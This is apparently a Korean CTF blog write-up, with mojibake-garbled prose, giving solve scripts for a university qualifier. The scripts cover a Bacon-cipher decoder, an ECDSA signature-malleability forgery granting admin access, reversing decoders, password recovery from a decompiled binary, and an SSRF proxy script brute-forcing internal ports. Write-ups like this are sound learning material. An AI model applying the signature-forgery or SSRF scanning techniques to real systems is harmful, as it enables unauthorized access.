2025. 06. 21 ํ ์์ผ 09~18์์ ์งํ๋ ์์ฃผ๋ํ๊ต CTF์ ์ฐธ์ฌํ์๋ค



์์ 5๋ฑ์ผ๋ก ๋๋๊ณ , ๋ณธ์ ์ง์ถ ํ์๋ค
6๋ฌธ์ ํ์๊ณ ,

1์ ๋ฐ๊น์ง ํ๊ณ ํ์๊ฐ๋ค
Write Up
Mic Check

Bason - Crypto
# prob.py
import string
import random
import os
bacon_cipher_reverse = {
'A': 'aaaaa', 'B': 'aaaab', 'C': 'aaaba', 'D': 'aaabb', 'E': 'aabaa',
'F': 'aabab', 'G': 'aabba', 'H': 'aabbb', 'I': 'abaaa', 'J': 'abaab',
'K': 'ababa', 'L': 'ababb', 'M': 'abbaa', 'N': 'abbab', 'O': 'abbba',
'P': 'abbbb', 'Q': 'baaaa', 'R': 'baaab', 'S': 'baaba', 'T': 'baabb',
'U': 'babaa', 'V': 'babab', 'W': 'babba', 'X': 'babbb', 'Y': 'bbaaa',
'Z': 'bbaab'
}
def encode_bacon_cipher(message):
encoded_message = ''
message = message.upper()
for char in message:
if char in bacon_cipher_reverse:
encoded_message += bacon_cipher_reverse[char]
return encoded_message
def gen_random_string(length=10):
return ''.join(random.choices(string.ascii_letters, k=length))
def encode_message_with_styles(binary_message, style_message):
encoded_styled_message = ''
binary_index = 0
for char in style_message:
if char.isalpha():
if binary_message[binary_index] == 'a':
encoded_styled_message += char.lower()
else:
encoded_styled_message += char.upper()
binary_index += 1
if binary_index >= len(binary_message):
break
return encoded_styled_message
def print_flag():
with open("/flag", "r") as f:
flag = f.read().strip()
print(flag)
def main():
message = gen_random_string(10)
message = message.upper()
binary_message = encode_bacon_cipher(message)
style_message = gen_random_string(len(binary_message))
encoded_message = encode_message_with_styles(binary_message, style_message)
print(f"encrypted msg: {encoded_message}")
user_input = input("Enter origin message: ")
if user_input == message:
print("Correct!")
print_flag()
else:
print("Nope")
if __name__ == "__main__":
main()
# exploit.py
from pwn import *
# Bacon ์ํธ ๋งคํ: ๋ฌธ์ → a/b 5๋นํธ ๋ฌธ์์ด
bacon_cipher_reverse = {
'A': 'aaaaa', 'B': 'aaaab', 'C': 'aaaba', 'D': 'aaabb', 'E': 'aabaa',
'F': 'aabab', 'G': 'aabba', 'H': 'aabbb', 'I': 'abaaa', 'J': 'abaab',
'K': 'ababa', 'L': 'ababb', 'M': 'abbaa', 'N': 'abbab', 'O': 'abbba',
'P': 'abbbb', 'Q': 'baaaa', 'R': 'baaab', 'S': 'baaba', 'T': 'baabb',
'U': 'babaa', 'V': 'babab', 'W': 'babba', 'X': 'babbb', 'Y': 'bbaaa',
'Z': 'bbaab'
}
# ๋ณตํธํ ๋งคํ: a/b 5๋นํธ ๋ฌธ์์ด → ์๋ ๋ฌธ์
bacon_decode = {v: k for k, v in bacon_cipher_reverse.items()}
def decode_bacon_from_styled(styled: str) -> str:
"""
์คํ์ผ๋(encrypted msg) ๋ฌธ์์ด์์ ๋์๋ฌธ์ ๋นํธ๋ฅผ ์ถ์ถํด
Bacon ์ํธ๋ฅผ ๋ณตํธํํ์ฌ ์๋ณธ ๋ฉ์์ง๋ฅผ ๋ฐํํฉ๋๋ค.
"""
# ์ํ๋ฒณ ๋ฌธ์๋ง ๊ณจ๋ผ, ์๋ฌธ์ → 'a', ๋๋ฌธ์ → 'b'
bits = ''.join(
'a' if c.islower() else 'b'
for c in styled
if c.isalpha()
)
# 5๋นํธ์ฉ ๋์ด์ ๋์ํ๋ ๋ฌธ์ ๋ณต์
return ''.join(
bacon_decode[bits[i:i+5]]
for i in range(0, len(bits), 5)
)
def get_flag(host: str, port: int):
"""
์๊ฒฉ ์๋ฒ์ ์ ์ํด ์ํธ๋ฌธ์ ์ฝ๊ณ ๋ณตํธํํ์ฌ ํ๋๊ทธ๋ฅผ ์ป์ด ์ถ๋ ฅํฉ๋๋ค.
"""
# ์๊ฒฉ ์ฐ๊ฒฐ (๋ก์ปฌ ์คํ ์ process([...])๋ก ๋์ฒด ๊ฐ๋ฅ)
p = remote(host, port)
# "encrypted msg: <์คํ์ผ๋ ๋ฌธ์์ด>" ์ค์ ์ฝ์
line = p.recvline_contains(b"encrypted msg:").decode().strip()
styled = line.split(":", 1)[1].strip()
# ์๋ณธ ๋ฉ์์ง ๋ณต์
orig = decode_bacon_from_styled(styled)
print(f"[+] Recovered message: {orig}")
# ๋ณตํธํ๋ ์๋ณธ ๋ฉ์์ง๋ฅผ ์ ์ก
p.sendline(orig)
# ํ๋๊ทธ๊ฐ ๋ด๊ธด ์๋ต์ ๋ชจ๋ ๋ฐ์ ์ถ๋ ฅ
print(p.recvall().decode())
if __name__ == "__main__":
HOST = "43.202.158.126"
PORT = 1111
get_flag(HOST, PORT)
๋ธ๊น
Elliptic - Crypto
# Exploit.py
from pwn import remote
import binascii
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def bytes_to_int(b: bytes) -> int:
return int.from_bytes(b, 'big')
def int_to_bytes(i: int) -> bytes:
length = (i.bit_length() + 7) // 8
return i.to_bytes(length, 'big') or b'\x00'
def parse_der(sig: bytes):
assert sig[0] == 0x30
idx = 2
if sig[1] & 0x80:
ln = sig[1] & 0x7F
idx = 2 + ln
assert sig[idx] == 0x02
r_len = sig[idx+1]
r = sig[idx+2:idx+2+r_len]
idx2 = idx + 2 + r_len
assert sig[idx2] == 0x02
s_len = sig[idx2+1]
s = sig[idx2+2:idx2+2+s_len]
return r, s
def encode_der(r: int, s: int) -> bytes:
rb = int_to_bytes(r)
if rb[0] & 0x80:
rb = b'\x00' + rb
sb = int_to_bytes(s)
if sb[0] & 0x80:
sb = b'\x00' + sb
der_r = b'\x02' + bytes([len(rb)]) + rb
der_s = b'\x02' + bytes([len(sb)]) + sb
content = der_r + der_s
return b'\x30' + bytes([len(content)]) + content
def main():
conn = remote('43.203.174.164', 2025)
conn.recvuntil(b'> ')
conn.sendline(b'1')
info = conn.recvuntil(b'> ')
for line in info.splitlines():
if b'Valid Admin Signature:' in line:
sig_hex = line.split(b':')[1].strip()
break
original_sig = binascii.unhexlify(sig_hex)
r_bytes, s_bytes = parse_der(original_sig)
r_int = bytes_to_int(r_bytes)
s_int = bytes_to_int(s_bytes)
s_malleated = N - s_int
new_sig = encode_der(r_int, s_malleated)
new_sig_hex = binascii.hexlify(new_sig)
conn.sendline(b'2')
conn.recvuntil(b'hex for admin access: ')
conn.sendline(new_sig_hex)
print(conn.recvall().decode())
if __name__ == '__main__':
main()
ํฌ๋ฆฝํ ์ ๋ถ ํธ๋๋ฐ 10๋ถ ๊ฑธ๋ ธ๋ค
The Powershell - Reversing
# exploit.py
v = [7, 96, 164, 214, 92, 231, 220, 244, 19, 182, 21, 228, 228, 29,
76, 96, 226, 42, 18, 102, 152, 255, 24, 232, 253, 8, 10, 126]
k = 0x77
flag = []
for i, vi in enumerate(v):
s = i % 8
rot = vi ^ (k + i)
b = ((rot << s) | (rot >> (8 - s))) & 0xFF
flag.append(b)
flag_str = bytes(flag).decode()
print(flag_str)
Credential Hash Generator - Reversing
main.exe๋ฅผ ida๋ก ๋ถ์ํ๋ฉด

pyinstaller๋ก exeํ์ผ์ด ๋์ด์์์ ์ ์ ์๋ค

์ด๊ฑธ ํตํด์ decompile ์งํํ๋ฉด


import random
F_hex = "b3c42b30363610c186cfb9c891046a4f1f983301705be5b00b979485eea15185ceeb17204b8267fb9930832ba20406471a7e0ceb1214e853330240b7dd7d243e6961d37159b1c6325ea4be49ea6c8af8"
F = bytes.fromhex(F_hex)
userid = "admin"
pass_length = len("********************************")
userid_bytes = userid.encode()
len_tmp = len(userid_bytes) + pass_length
rng = random.Random(3735928559)
perm = list(range(80))
rng.shuffle(perm)
rand_ints = [rng.randint(0, 255) for _ in range(80)]
shuffled_new_data = [(F[i] - rand_ints[i]) % 256 for i in range(80)]
new_data = [0] * 80
for idx_shuffled, orig_idx in enumerate(perm):
new_data[orig_idx] = shuffled_new_data[idx_shuffled]
tmp = [None] * len_tmp
for i in range(80):
k = i % len_tmp
c = (49 * i + 4) % 256
val = new_data[i] ^ c
if tmp[k] is None:
tmp[k] = val
elif tmp[k] != val:
raise ValueError(f"Inconsistency at position {i}")
recovered_userid = bytes([tmp[i] ^ 48 for i in range(len(userid_bytes))]).decode()
password_bytes = [tmp[len(userid_bytes) + j] ^ 96 for j in range(pass_length)]
recovered_password = bytes(password_bytes).decode()
print(f"Recovered userid: {recovered_userid}")
print(f"Recovered password: {recovered_password}")
WebView - Web




list ์๋ํฌ์ธํธ๊ฐ ์ฃผ์์ผ๋ก ์จ๊ฒจ์ ธ ์๋ค
import requests
import urllib.parse
from concurrent.futures import ThreadPoolExecutor, as_completed
PROXY = "http://3.36.10.125/?url="
HOSTS = ["127.0.0.1", "localhost", "c61990662e4f", "internal"]
PORT_START = 1000
PORT_END = 10000
TIMEOUT = 0.5
MAX_WORKERS = 50
def probe(host, port):
target = f"http://{host}:{port}/flag"
ssrf_url = PROXY + urllib.parse.quote(target, safe="")
try:
resp = requests.get(ssrf_url, timeout=TIMEOUT)
text = resp.text
if "flag{" in text:
return (host, port, text.strip())
except requests.RequestException:
pass
return None
def brute_force():
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as exe:
futures = []
for host in HOSTS:
for port in range(PORT_START, PORT_END + 1):
futures.append(exe.submit(probe, host, port))
for fut in as_completed(futures):
result = fut.result()
if result:
host, port, flag = result
print(f"\n๐ FLAG FOUND at {host}:{port} ๐\n{flag}\n")
exe.shutdown(wait=False, cancel_futures=True)
return
if __name__ == "__main__":
brute_force()
๋ธํฌ๋ก ํ๋ฆฐ๋ค
XSS์ธ์ค ์๊ณ ํ์ฐธ์ ๊ณ ๋ฏผํ๋๋ฐ ๋๋ฌด ์ฌ์ด ๋ฌธ์ ์๋ค
PWN๋ฌธ์ ๊ฐ HEAP์ด ๋ง์์ ๊ฑฐ์ ๋ชป ๊ฑด๋ค์๋๋ฐ, ๋ณธ์ ๋๊น์ง HEAPํ๊ณ FSOP๊ณต๋ถํด์ ํฌ๋๋ธ 1์ ํด์ผ๊ฒ ๋ค
'CTF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| [ 2025 ์ 1ํ ๊ฒฝ๊ธฐ๋ ์ฌ์ด๋ฒ ๋ณด์ ์บ ํ ํ๊ธฐ ] (2) | 2025.08.25 |
|---|---|
| [ 2025 COSS ์์ฃผ๋ CTF - ๋ณธ์ ] - Write Up & ํ๊ธฐ (5) | 2025.07.25 |
| [2025 Codegate ์์ ] - Write Up & ํ๊ธฐ (0) | 2025.05.26 |
| [2025 DIMI CTF Write Up] - Prob by pandas. with ํ๊ธฐ (3) | 2025.03.25 |
| [CTF] ์ 5ํ ์ค๋ถ๋ํ๊ต JBU CTF (1) | 2025.02.27 |